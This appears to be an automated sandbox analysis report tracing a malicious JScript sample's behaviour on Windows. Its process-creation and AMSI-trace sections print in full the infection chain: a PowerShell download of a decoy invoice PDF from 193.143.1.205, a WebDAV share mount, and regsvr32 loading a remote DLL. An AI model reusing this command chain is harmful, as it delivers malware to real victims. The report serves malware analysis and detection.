Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\6594.js.csv");ITextStream.WriteLine(" entry:8655 f:yfjzs");ITextStream.WriteLine(" exec:2 f:yfjzs");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4103			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5374			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2764	Thread sleep count: 4103 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2764	Thread sleep count: 5374 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 412	Thread sleep time: -7378697629483816s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3480	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4564	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7108	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 6476	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7448	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: wscript.exe, 00000000.00000003.2059458516.0000018D18A16000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: net.exe, 00000007.00000002.2109112356.0000025076AC0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: net.exe, 00000007.00000003.2108485785.0000025076B1D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2109789956.0000025076B1D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2108673074.0000025076B1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3354424957.000001B3EC42B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3355905205.000001B3F1A54000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3355715559.000001B3F1A42000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\208351456610749.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\208351456610749.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\208351456610749.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\208351456610749.dll
